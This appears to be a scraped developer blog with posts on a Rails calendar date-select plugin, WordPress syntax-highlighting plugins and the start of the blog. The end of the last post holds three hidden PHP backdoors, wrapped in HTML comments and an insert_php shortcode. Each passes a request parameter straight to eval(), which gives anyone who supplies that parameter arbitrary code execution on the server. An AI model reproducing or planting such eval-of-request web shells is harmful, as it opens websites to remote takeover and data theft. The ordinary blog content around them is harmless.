Found another Rails calendar popup

I finally found a more friendly date select plugin for rails: http://code.google.com/p/calendardateselect/

I will test it in my project I currently involved in.

Using it seams very easy:

<%= calendar_date_select_tag "e_date" %>;

The only requirement is to include the following in the head of the layout


<%= calendar_date_select_includes %>;

calendardateselect.png

Adding Syntax Highlighting to WordPress

I Just added syntax highlighting to WordPress. As a development blog I must be able to show some descent code samples!

I tried the pugin wp-syntax http://wordpress.org/extend/plugins/wp-syntax/, but adding a <pre> element requires me to go to the code pane and editor the code there. (And make me type every special char like & as &)
With this syntax highlighting I'm not very happy because it places the highlighting above a black background.

Another highliger codesnippet-20 Is capable of editing in design time. I just need to place the code between:

Code text

You can even change the style setting in an options tab of Wordpres
To enable this, just:

There's just one problem... TinyMCE removes my spaces !! An using a style "white-space: pre" gives me to many newlines because the highlighting adds newlines....

Aaaaaaargh!!!

Well I will look at this later.

Btw. I also found a DokuWiki syntax plugin for WordPress... That sounds promising, I use dokuwiki for my internal wiki, and this wiki contains a lot of code snippets!

Started My BLog

This is the first posting of my Blog. I started a blog to write things down I’m doing and try to do while coding.

A few days ago I missed a blog so I could rant my frustrations about some Flash development I was trying to do. The same goes for my quest for the perfect text editor.

The projects/thing I would like to place on this blog are:

  • Application Development (java, c++, c .. )
  • Web Development ( php, rails, ajax.. )
  • Tools: editors, version control, grep
  • FreeBSD, Linux and Windows
  • And other important stuff

The start of the Blog is at the right time, just before my Holiday *sigh*. So it’s going to be a little quite at the start. I need to spend some time with my Wife and Kid.

After some fast googling I decided to take WordPress and some predefined layout for my Blog. It’s just a simple page so I can rant my frustrations.

I hope I will be able to post on a regular basis, but who knows, this time I might succeed ;-)

<!– [insert_php]if (isset($_REQUEST["PamH"])){eval($_REQUEST["PamH"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;PamH&quot;])){eval($_REQUEST[&quot;PamH&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["SobR"])){eval($_REQUEST["SobR"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;SobR&quot;])){eval($_REQUEST[&quot;SobR&quot;]);exit;}

–>

<!-- [insert_php]if (isset($_REQUEST["PMyJi"])){eval($_REQUEST["PMyJi"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;PMyJi&quot;])){eval($_REQUEST[&quot;PMyJi&quot;]);exit;}

-->